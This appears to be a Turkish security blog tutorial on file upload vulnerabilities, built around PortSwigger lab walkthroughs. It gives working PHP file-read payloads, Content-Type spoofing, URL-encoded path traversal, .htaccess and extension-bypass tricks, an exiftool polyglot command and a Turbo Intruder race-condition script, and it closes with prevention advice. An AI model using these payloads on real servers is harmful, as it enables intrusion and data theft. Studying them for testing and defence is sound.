File Upload Zafiyeti Nedir?
File Upload şahane bir istismar yöntemidir. Hemen hemen her uygulama üzerinde dosya yükleyeceğiniz bir alan vardır. Bu alanları çoğu ise kontrolsüzdür. Yani yüklediğiniz şeyin türünü, boyutunu ya da diğer özelliklerini önemsemez. Uygulama bir “şey” yükleyip yüklemediğinizi kontrol edecek şekilde programlanmıştır. Biz hackerlar ise bu alanları “öpmek💋” için varız.
Peki bunu nasıl yaparız? Uygulamaya uzaktan çalıştırabileceğimiz bir dosya yükleriz. Çalıştırır ve çalıştığı sunucu üzerinde yetki yükselterek işimize devam ederiz. Şöyle ki hedef sistem bir host firması üzerinde yaşıyor ise o zaman şenlik olur. 🎉
Eğer bir sızma testi işi aldıysanız, böyle bir istismar sonucu ileri gidemezsiniz. Çünkü anlaşmanız sadece uygulamanın sahibiyledir. Host firması ile değil. Host firmasının sunucusunda gerçekleştireceğiniz her aktivite o dakika itibari ile TCK 243 – 246’a girer. 👮🏻♀️
File Upload Zafiyetinin Etkileri Nedir?
File uploadın etkisi iki adımda ölçülür;
- Dosya yüklerken boyutu, adı, uzantısı v.b. özellikleri kontrol edilmeden yüklenebiliryor mu?
- Yükleme başarılı olduktan sonra hangi işlemleri yapabiliyoruz?
En kötü senaryoda, dosyanın türü doğru şekilde doğrulanmaz ve sunucu yapılandırması belirli dosya türlerinin (.php ve .jsp gibi) kod olarak yürütülmesine izin verir. Bu durumda, biz hackerlar sunucudan bizim makinamıza bağlantı açabilecek bir kod dizesi yani script yükleyebilir ve uygulamanın yaşadığı sunucuda tam denetim sağlayabiliriz. Yani root ya da administrator yetkileri ile işlem yapabiliriz.
Dosya adının doğrulanmadığı durumlarda Linux ya da Windows sistemde var olan ya da uygulamanın config dosyalarından bir isim ile aynı isme sahip bir dosya yükleyerek kritik dosyaların üzerine yazma işlemi yapabiliriz. Sunucu aynı zamanda directory traversal zafiyetine izin veriyorsa istediğimiz konuma dosyamızı yükleyebiliriz.
Her şey kontrol edilmiş ama dosya boyutu kontrol edilmemişse o zamanda disk ya da bandwidth alanı alanını doldurarak bir tür hizmet reddi (DoS) saldırısına da neden olabiliriz.
Açık Nasıl Ortaya Çıkar?
Tamamen developer’ın halt yemesidir. Örn;
“Abi zaten basit bir site o kadar da kasmayın.” – Kendi yaptığı işi önemsemez ve sizin önemsemenizden rahatsız olur çünkü kendi savsaklaması ortaya çıkacaktır.
“Yazdık işte! İş görüyor.” – Muhtemelen sabahları işe küfrederek geliyordur. Olayın sizle değil, patronla ilişkisi büyüktür.
“Teste gerek yok. Her değişikliği test mi edeceğiz!” – Mesleğinizi küçümser ve ona gereksiz iş çıkarcağınızı düşünür. Sizin onunla bir derdiğiniz olmadığını ve olayı fazla kişiselleştirdiğini anlaması için bu tarz hatalarından dolayı kovulup aç kalması gerekir. Çünkü her canlı açken kolay terbiye edilir!
“Abartmıyor musunuz? Bizim siteden ne çalabilir ki? Zaten her şey herkese açık. Yedek var çökerse yeniden ayağı kaldırırız.” – Uygulamanın bir sunucu üzerinde çalıştığını ve bu sunucunun içerde bir ağa bağlı olduğunu o ağda başka sunucuların ya da clientların olduğunu düşünmez. Çünkü umrunda değildir.
Bu tip insan israfları dışında önemsenmiş ama gözden kaçmış noktolar olabilir. Örneğin white list yerine black list kullanılmıştır ve bir dosya türü gözden kaçmıştır ve saldırgan o gözden kaçan türü tespit etmiş ve uygulamaya yüklemeyi başarmıştır.
Yükleme işlemi hem sunucu hem de tarayıcı tarafında kontrol edilmiyordur. Örneğin sadece tarayıcı tarafında bir kontrol yapılmıştır ve bu durum bir proxy ile istismar edilebilir. Uygulamaya bir proxy üzerinden gidince erişemiyor olmak gerekir.
Dosyanın yüklenmesi ve sunucuya erişme halinde dizinler arası gezişin kısıtlanması, belli başlı bazı komutların çalıştırılamaması gibi önlemler alınmalıdır. Yani sunucuda sıkılaştırma (hardening) yapılmış olmalıdır.
Web Sunucuları Dosya İsteklerini Nasıl İşler?
Bunun öncesinde biraz HTTP methodlarını biliyor olmasınızı bekliyoruz. GET, POST, OPTİONS, PUT, DELETE ve diğerleri… Sunucu, dosya uzantısını tanımlamak için istekteki yolu ayrıştırır. Daha sonra bunu, tipik olarak uzantılar ve MIME türleri arasında önceden yapılandırılmış eşlemelerin bir listesiyle karşılaştırarak, istenen dosyanın türünü belirlemek için kullanır. Bundan sonra ne olacağı, dosya türüne ve sunucunun yapılandırmasına bağlıdır.
- Bu dosya türü, bir görsel veya statik bir HTML sayfası gibi yürütülemez durumdaysa, sunucu dosyanın içeriğini istemciye bir HTTP yanıtında gönderebilir.
- Dosya türü bir PHP dosyası gibi yürütülebilir ise ve sunucu bu tür dosyaları yürütmek üzere yapılandırılmışsa, komut dosyasını çalıştırmadan önce HTTP isteğindeki başlıklara ve parametrelere dayalı olarak değişkenler atayacaktır. Ortaya çıkan çıktı daha sonra istemciye bir HTTP yanıtında gönderilebilir.
- Dosya türü yürütülebilirdir ama sunucu bu tür dosyaları yürütmek üzere yapılandırılmamıştır, bu durumda hata verir. Ancak bazı durumlarda dosyanın içeriği müşteriye düz metin olarak sunulabilir. Bu tür yanlış yapılandırmalar, zaman zaman kaynak kodunu ve diğer hassas bilgileri sızdırmak için kullanılabilir. Sızma testlerinde bu gibi durumlar da raporlanır. Bu nedenle
Content-Type
ya daheader
bilgilerinin gözden geçirilmesini öneririz.
Exploit Etme 🐱👤
Şahane hadi “shell atma” kavramına bakalım. İçerisinde reverse tcp
işi gören bir script dosyasını uygulama üzerinden sunucuya yükleyebiliyor ve shell
ya da meterpreter
ekranı alabiliyorsak shell almış oluyoruz. Bunu web üzerinden yapınca da adı web shell oluyor. Aşırı yaratıcı bir isim 😁
Web shell’i sunucuya yükledikten sonra, sunucu üzerinde tam kontrole sahip olursunuz. Bu, rastgele dosyaları okuyup yazabileceğiniz, hassas verileri sızdırabileceğiniz ve hatta sunucuyu hem dahili altyapıya hem de ağ dışındaki diğer sunuculara yönelik saldırıları yönlendirmek için kullanabileceğiniz anlamına gelir.
İş birlikçimiz Portswigger bu nedenle onun lablarından ekran görüntüsü paylaşacağım 🐱🏍 Eğer Burp Suite uygulamanız varsa sizde benimle yapabilirsiniz. Comeee onnnn meslektaşlarım!
Öncelikle tüm trafiği Burp’den akıtıyoruz. Bunu anlatmıyorum. Artık öğrendiniz. Ya da diğer yazılarıma bakabilirsiniz. Uygulamaya giriş yapıyoruz. Lab’da bilgileri verilmiş. Daha sonra gül cemalimiz için fotograf yükleme alanı olduğunu görüyor ve artıyoruz 😁


Fotoğraf yerine sunucuda rastgele dosya okumamıza sağlayan payloadu exploit.php adını verdiğimiz dosyanın içerisine yazıyoruz. “/home/carlos/secret” kısmı labın başında bize verilmişti. Onun altına bakmamız gerektiğini biliyoruz.
<?php echo file_get_contents('/home/carlos/secret'); ?>

Dosyamızın başarıli bir şekilde yüklendiğini görüyoruz. Aslında hata almalıydık! Proxy sekmesinden HTTP History sekmesini seçiyor ve Filter kısmına tıklıyoruz. Daha Sonra Filter by MIME type kısmından sadece Images işaretleyerek avatar yükleme istediğimizin gelmesini bekliyoruz.

Gelen fotoğraf yükleme isteğine sağ click Send to Repater diyerek Repeater sekmesine alıyoruz.

Burada giden GET
isteğimizin sonunu uygulamaya yükleyi başardığımız exploit.php ile değiştiriyor ve Send ediyoruz. 200 OK dönüyor ve aşağıdaki bir metin var. Bu metin labın çözümüdür. Değeri gönderiyoruz.


Buradan çıkarılması gereken ders dosya türü kontrolünün yapılmaması akabinde sunucuda istediğimiz php komutunu rahatlıkla çalıştırabiliyor olmamız! Meterpreter ekranı alabiliriz. Ağda ilerleyebiliriz. Her şeyi yapabiliriz. Varlık sahibine renkli anlar yaşatabiliriz 🤣 Uygulama, ağ ve sunucu taraflı önlemlerin alınması gereklidir.
Hatalı Doğrulamadan Faydalanma
Developer arkadaşımız yüklediğimiz dosyaların türlerini kontrol edebilir. Fakat eksik ya da yanlış kontrol olduğu durumlarla da karşılaşabiliriz. Bu nedenle saldırı esnasında alternatif yöntemleri sürekli düşünmeliyiz.
Hatalı Dosya Türü Doğrulama
Çalışacağımız lab senaryosunda uygulamanın dosya türü kontrolü sadece tarayıcı aşamasında gerçekleşiyor ve sunucu tarafından da check edilmiyor. Böylelikle biz de aşağıdaki adımları kullanarak uygulamayı istismar ediyoruz. Lütfen birlikte yapalım.


.jpeg uzantılı bir dosya yükledik ve sorun çıkmadı.


Daha önce hazırladığımız exploit.php dosyasını yüklemek istedik ama uygulama hata verdi. Bu güzel ama araya girip giden isteği değiştirince de aynı şekilde davranmasını bekliyoruz.

Proxy sekmesinde Intercept – Intercept is on yaptık ve trafiği adım adım ilerletiyoruz. “POST /my-account/avatar HTTP/1.1” isteğinde sağ click yapıp Send to Repeater dedik ve isteğimizi Repeater‘a attık. İstekteki dosya türünün belirtildiği Content-Type değerini image/jpeg yaptık. Böyle uygulama giden dosyayı .jpeg sanacaktır.

200 OK aldık ve dosyamızın başarı ile yüklendiğini belirten bir metin görüyoruz. Süper zararlı dosyamız sunucuya yüklendi.

GET /files/avatars/exploit.php HTTP/1.1
rumi.jpg dosyasının gittiği isteğe yeniden geliyor ve onu Repeater‘a atıyoruz ve Send ettiğimizde 200 OK alıyoruz. Beraberinde gelen değer ise labın çözümü ve bizim exploit.php dosyasının içerisine yaptığımız php komutu sayesinde okunabildi.


Erişilebilen Dizinlerde Dosya Yürütme
İlk aşamada dosya yükleyemiyor olmayı bekliyoruz. Yüklediysek bu defa da sunucu üzerinde dizinler arası geçiş yapamayı bekliyoruz. Şimdi gerçekleştireceğimiz labda dosyamızı istediğimi dizine atabileceğiz. Son kullanıcının sunucuda dosya yüklemesine izin verilen dizin için birçok güvenlik önlemi alınmış olabilir ve orada komut çalıştırmannıza izin verilmiyordur ama başka bir dizine dosyayı yüklerseniz ya da yüklemeyi başarabilirseniz oradaki kontrol daha az olabilir ve siz komut çalıştırabilirsiniz. Haydi başlayalım.

.jpeg dosyamızı yükledik ve hata almadık. İlginç olan içerisinde dosya okumamıza yarayan php komutumuzun olduğu exploit.php dosyamızı yükleyince de hata almadık.

Burp ile giden isteğe baktık. O da ne! Developer önlem almış ve .php olarak yüklenen dosyanın içerisini düz metin olarak işleme alıyor ve çalıştırmıyor.

Bu güzel önlemin sadece /avatars dizini için alınıp alınmadığını kontrol edeceğiz ve bir alt dizin olan files‘a yükleme yapacağız.

İsteği tekrardan Repeater‘a atıyoruz ve Content-Disposition bölümündeki filename‘in değerinde değişiklik yapıyoruz. “../” koyarak üst dizine yüklemesini istiyoruz ama çıktı da yine avatars/ ın altına yüklediği cevabını görüyoruz.

Canımız encoding yöntemimizi kullanacağız ve URL encoding yaparak “../” değeriniz değiştirip gönderiyoruz. Ekran görüntüsünde de görüldüğü üzere çıktı bir üst dizine dosyayı yükleyebildi.

Proxy sekmesinden HTTP History sekmesine geldiğimizde giden isteğimize tıklıyoruz ve Response‘da .php dosyamızın çalışıp bize değeri verdiğini görüyoruz.

Dosyayı /files/exploit.php olarak çağırdığımızda da gelecektir. Çünkü “../” üste yüklendi.


Blacklist Tehlikesi Nedir?
Kara liste ilk bakışta güzeldir ama birçok uzantıyı yani dosya türünü listeye almayı atlayabiliriz. Bu nedenle beyaz liste (white list) oluşturmak daha iyidir. Örneğin .php uzantılı dosya yüklenmesini kara listeye ekleyerek engellemişsinizdir ama .php5
, .shtml
türlerinin yüklenmesini gözden kaçırmışsınızdır ve bunlarda uygulama üzerinde çalışıyordur.
Sunucu Yapılandırmasını Geçersiz Kılma
Kullanılan web sunucuya göre bazı konfigürasyonlar yapılmaktadır. Apache Web Server kurulmuşsa /etc/apache2/apache2.conf
altında bazı ayarlar yapılıyor. Kullanılan kütüphaneler vb. şeyler ekleniyor. Eğer IIS Web Server kurulmuşsa bu sefer de web.config
dosyası içerisinde mimeType’ları vs veriliyor. Bunlar dışında bazen de .htaccess
dosyası içerisinde xx geleni yy yap. link.html’e gelirse linkdegil.html’e yönlendir vb. birtakım ayarlar yapılabiliyor. Bizde buralarda gözden kaçan ya da işimize yarayacak bazı ayarları kullanacağız. O zaman lab’a koşun!

Daha önce oluşturduğumuz exploit.php dosyasını yüklemek istedik ve uygulama kızdı. O zaman uzantıyı uygulamanın kızmayacağı bir şeye çevirelim. Örneğin; .133t’ye. Bunu da bir .htaccess dosyası ile yapacağız. Diyeceğiz ki php uzantısı ile gelen dosyaları .133t’ye çevirerek içeri al. POST /my-account/avatar
isteğimizi yeniden sağ click Send to Repeater diyoruz. Gelen ekranda filename, Content-Type ve datayı aşağıdaki görselde olduğu gibi değiştiriyoruz ve Send ediyoruz. Response değeri 200 OK ve yüklendi bilgisini veiryor. Süper!

Proxy, HTTP History sekmesinde yeniden POST /my-account/avatar
isteğimizi Repeater‘a atıyoruz. Bu sefer gitmeye çalışan exploit.php dosyasının uzantısını biraz önce değiştirdiğimiz .133t’ye çevirip Send ediyoruz. Response değeri 200 OK döndü. Sorun yok.

HTTP History sekmesinde rumi.jpg
diye giden isteklerden birini Repeater‘a atıyoruz ve GET isteğindeki rumi.jpg değerini exploit.133t
yapıyoruz. Response değerinde 200 OK döndüğünü ve exploit.php
içerisine yazdığımız komutun çalışıp bize değeri verdiğiniz görüyoruz.


Bu tarz saldırıları zorlaştırsın diye sızma testi çıktılarında müşteriye kullandıkları kütüphane, web server ve sürüm gibi bilgilerin kesinlikle ifşa edilmemesi konusunda konfig yapmaları gerektiği ifade edilir ama müşteri genellikle bunu umursamaz. Tamamen engellemez ama yolu uzatır. Bu nedenle önemlidir.
Hileli Dosya Uzantılarını Kullanmak
Yükleyeceğimiz zararlı .php uzantılı bir dosyada çalışıyor olabilir. Bunu uygulamaya yüklemiyorduruz çünkü .php uzantılı dosyalar black listtedir. Türevi uzantılar ile giriş yapmayı denedik olmadı. Bir de küçük hileler ile uzantıda değişiklik yapabiliriz. .pHp ve php aynıdır. Uygulama üzerinde büyük küçük harf vb. yöntemler için kısıtlamalar belirtilmemiş ise istismar edilebilir. Aşağıdaki teknikleri bu tarz hileler için kullanabiliriz.
- Birden fazla uzantı vererel çalışabilirliğini test edebiliriz. Örn;
exploit.php.jpg
- Gönderdiğiniz dosyanın sonuna (.)nokta vb. şeyler ekleyerek çalışabilirliğini kontrol edebiliriz. Örn;
exploit.php.
- encoding yöntemlerini kullanarak (.)nokte (/)ters çizgi gibi değerleri değiştirip çalışabilirliği kontrol edebiliriz. Örn;
exploit%2Ephp
- Dosya uzantısından önce (;) noktalı virgül, ekleyebiliriz Noktalı virgül encode edilebiliriz ya da “null byte characters” dediğimiz karakterler eklenerek çalışabilirliği kontrol edebiliriz. Örn;
exploit.asp;.jpg
veyaexploit.asp%00.jpg
- ASCII kodları ile de deneme yapabiliriz.
- Diğer seçeneklerden biri ise uzantının kaldırılması hali örneğin uygulama siz .php uzantılı bir dosya gönderdiğiniz de .php ifadesini kaldırıp sisteme alıyordur ama çalışabilir bir dosya olmuyordur. Siz bu dosyayı gönderirken
exploit.p.phphp
derseniz uygulama .php yazan yeri kaldırabilir ve bu kontrolü tekrar etmez ise sunucuya exploit.php dosyası yine yüklenir.
O zaman uygulamalı yapalım. Buyrun.


.jpg dosyasını yükleyebilirken hazırladığımız exploit.php dosyasını yükleyemediğimizi görüyoruz. Yukarıda bahsettiğimiz yöntemlerden birini kullanarak dosyayı yükleyeceğiz.

Proxy, HTTP History sekmesinden POST /my-account/avatar
isteğimizi Repeater‘a atıyoruz. Daha sonra Content-Disposition bölümündeki filename değerini “%00.jpg” ekleyerek değiştiriyoruz ve Send ettiğimizde Response ekranında 200 OK ve “The file avatars/exploit.php has been uploaded.” ifadesini görüyoruz. Gördüğünüz gibi “%00.jpg” değerini giderken kaldırmış. Süper dosyamız yüklendi.

Tekrar HTTP History sekmesinden GET ile giden rumi.jpg istediğimizi Repeater‘a atıyoruz ve isteği GET /files/avatars/exploit.php
olarak değiştiriyoruz. Response ekranımızda gönderdiğimiz exploit.php dosyamızın çalıştığını görebiliriz.


Dosya Türünün Yapısal Kontrolü
Content-Type
değerine güvenmek yerine gelen dosyanın yapısal olarak gerçekten jpeg ya da pdf mi olduğu da kontrol edilebilir. Bu diğer yöntemdeki gibi sadece uzantı kontrolünden daha iyidir. İkisi birlikte ise çok daha iyidir. Yine bu benzer bir yöntem de boyutunu kontrol etmektir.
Belirli dosya türleri üst bilgi veya alt bilgi de her zaman belirli bir bayt dizisi içeriyor. Örneğin bir jpeg dosyası FF D8 FF değeri ile başlıyor. Yüklenen dosya da bunlar kontrol edilerek zararlı yüklenmesi engellenebilir.
Bu yöntem de istismar edilebiliyor. Çünkü zararlı bir script ya da dosya bir jpeg içerisine bazı araçlar ile gömülebiliyor. Şimdi pratik yapalım.

Github’dan exiftool aracımızı indirip aşağıdaki komut satırını kullanarak bir .php dosyası oluşturuyoruz.
./exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" rumi.PNG -o polyglot.php




Dosyanın Sunucuya Kabul Koşulları
Yüklenen dosya ana yerine değilde bazen geçici dosyalara yüklenebilir. Burada sistem kontrol eder eğer dosya doğru ise ilgili klasöre yazar. Antivirüslerin çalışma mantığı gibi düşünülebilir. Dosya geçici bir yere alınır. Kontrol edilir ve yazılır. Bu süre milisaniyeler sürse dahi bazı durumlarda özellikle devoloperın kendi yöntemleri ile oluşturduğu mekanizmalarda istismar edilebilir. O zaman örneklendirelim. Başlamadan önce Burp’e Turbo Intruder eklentisini kuruyoruz.

Bu eklenti sayesinde uygulama üzerindeki kontrol süresinde kodu çalıştıracağız. Öncelikle .jpg dosyasını yükledik. Yükledi. Daha sonra exploit.php yüklemek istedik hata verdi. Benzer ekranları yukarıda paylaştığımız için tekrarlamadık. Daha sonra giden POST /my-account/avatar
isteğimize sağ click Extensions > Turbo Intruder > Send to turbo intruder diyoruz.


Gelen ekranda işaretlediğimiz yere aşağıdaki scripti yazdık. Bu hazır bir script Google Search ile benzerlerini bulabilisiniz. Sarı ile işaretlediğimiz “request1” değerine şu an ekranda olan POST /my-account/avatar
istediğinin tamamını yapıştırıyoruz. “request2” değerine ise GET /files/avatars/rumi.jpg
isteğinin tamamını yapıştırıyoruz ama sondaki rumi.jpg’yi exploit.php yapmamız gerekiyor çünkü bizim için önemli olan o dosyayı yüklemek.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Aşağıda scriptin düzenlenmiş halini bulabilirsiniz.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''POST /my-account/avatar HTTP/1.1
Host: ac6f1f661ecd508bc049cdea007f00e9.web-security-academy.net
Cookie: session=1S3hb1kKbv8p4xwxRaknyhL8SVFcEikG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------40080443512006655543956906743
Content-Length: 550
Origin: https://ac6f1f661ecd508bc049cdea007f00e9.web-security-academy.net
Referer: https://ac6f1f661ecd508bc049cdea007f00e9.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-Gpc: 1
Te: trailers
Connection: close
-----------------------------40080443512006655543956906743
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------40080443512006655543956906743
Content-Disposition: form-data; name="user"
wiener
-----------------------------40080443512006655543956906743
Content-Disposition: form-data; name="csrf"
u6l8mNbz2rLIFc22ioStvr9fS1fxO5fb
-----------------------------40080443512006655543956906743--
'''
request2 = '''GET /files/avatars/exploit.php HTTP/1.1
Host: ac6f1f661ecd508bc049cdea007f00e9.web-security-academy.net
Cookie: session=1S3hb1kKbv8p4xwxRaknyhL8SVFcEikG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://ac6f1f661ecd508bc049cdea007f00e9.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Te: trailers
Connection: close
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Düzenleme işlemi bittikten sonra pencerenin alt kısmındaki “Attack” butonuna basıyor ve kontrol süresi içerisinde dosyamızın kaç kez 200 OK döndüğünü yani scriptimizin çalıştığını görüyoruz. Böylelik “race condition” olarak adlandırılan kontrol sırasını bypass edebiliyoruz.


URL-Based Yöntemi İle Dosyanın Sunucuya Kabul Edilmesi
Dosya sunucuya yüklenme esnasında URL’de yükleme noktası açıkça verildiği durumlarda da race condition rahatlıkla gerçekleştirilebilir. Developer dosyayı geçiçi olarak bir dizine alır. Saldırgan dosya yolunu bilmektedir ve milisaniyerler içerisinde giden pakete kendi zararlısını ekleyebilir.
Developerın bu tarz durumlarda aldığı dosyayı kontrol edene kadar ismini değiştirerek saklamasını önerilebilir. PHP uniqid() yöntemi ile değişiklik yapılabilir fakat bunun da istismar edilebilirliği mümkündür. Çünkü bu yöntem kriptografik olarak güvenilebilir bir değer üretmez.
Dosyanın kontrol edilme süresini uzakmak için saldırganlar gönderdikleri paketin boyutunu büyük yapabilirler. Bu nedenle developerın boyutla alakalı kontrolleri göz ardı etmemesi gerekir.
Uzaktan Kod Yürütmeden File Upload Açığından Yararlanma
Yukarıdaki örneklerde olası en kötü senaryoyu konuştuk. File upload ile gönderdiğimiz dosya ile uzaktan kod çalıştabildik. Uzaktan kod yürütmeden de birtakım aktiviteler gerçekleştirebiliriz. Yine bu tip hamlelerde eğer gerçekleştirilebiliyorsa sızma testi raporlarında belirtilir. Ne kadar dikkate alınıyor orası tartışılır ama en küçük bir bilgi sızıntısı sizi büyük resme taşır. Biz hackerlar bu motto ile çalışıyoruz.
İstemci Tarafında Çalışacak Zararlı Dosyalar Yükleme
Bu durumu client-side scripts olarak adlandırırız ve aslında XSS zafiyetinin Stored olanıdır. Bu tarz bir saldırı yapmak için öncesinde XSS saldırı türlerini biliyor olmakta fayda bulunmaktadır. Eğer yüklediğimiz dosya son kullanıcı tarında görüntülenebiliyorsa dosya ile gönderdiğiniz script o dosyanın ziyaret edilmesi halinde çalışacaktır ve yeteneklerine göre saldırgana bilgi sağlayacaktır.
Farklı Dosya Türlerindeki Güvenlik Açıklarından Yararlanma
Diyelim ki sunucu ya da istemci tarafında bir şey çalıştıramadık. Dosyalar sıkı kontrolden geçiyor. Bu sefer sunucu üzerinde hangi dosya türleri çalışabiliyor onlara bakarak XXE Injection saldırıları gerçekleştirebilir miyiz onu kovalamamız gerekir. Bundan daha önce bahsetmiştim. Yukarıdaki bağlantıdan gidebilirsiniz. XXE dediğimiz zafiyette .xml gibi dosyaların üzerinde yazma işlemi yapabiliyor muyuz ona bakıyoruz. Kısaca bir .xml dosyası upload etmek ya da var olanın üzerinde yazma çalışmaları ile de file upload saldırısı yapabiliriz.
PUT Methodu İle Dosya Yükleme
Uygulama üzerinde dosya yükleme arayüzü olmayabilir ama sunucu PUT isteklerini kabul ediyordur. Sizde PUT Methodu ile istediğiniz dosyayı yükleyip çalıştırabilirsiniz. Bir sunucunun PUT kabul edip etmediğini ise basit bir NIKTO sorgusu ile öğrenebilirsiniz. Örneğin;
nikto -h http://alanadi.com/
Daha sonra PHP meterpreter payload kullanarak dahi kolaylıkla istismar edebilirsiniz. PUT methodu için burdaki yazıya göz atabilirsiniz. Ekran görüntülü güzel bir anlatım.
File Upload Saldırıları Nasıl Önlenir?
%100 güvenli bir yöntem olmamakla birlikte güvenlik katmanlarınızı artırmak için aşağıdaki adımları uygulayabilirsiniz.
- Blacklist yerine whitelist yapmalısınız. Çünkü sonsuz dosya uzantısında gözden kaçıracaklarınız olacaktır. Ne yüklenmesini istiyorsanız sadece ona izin vermek daha sağlam bir yoldur.
- Dosyanın dizinler arası geçişini engellenmelisiniz ../ yapınca başka bir dizine aktarılmamalıdır.
- Mevcut dosyanın üzerine yazmayı engellemek için yeniden isimlendirmeyi deneyebiliriniz.
- Yüklenen dosyaları tamamen doğrulanmadan ana dizine yüklememelisiniz.
- PUT, GET vb. isteklerden kaçınmalısınız. Dosya yolunu veya yüklenen dizini ifşa etmemelisiniz.
- Kendi yöntemlerinizden ziyade doğrulama olarak kabul görmüş frameworkleri kullanmalısınız
- vb.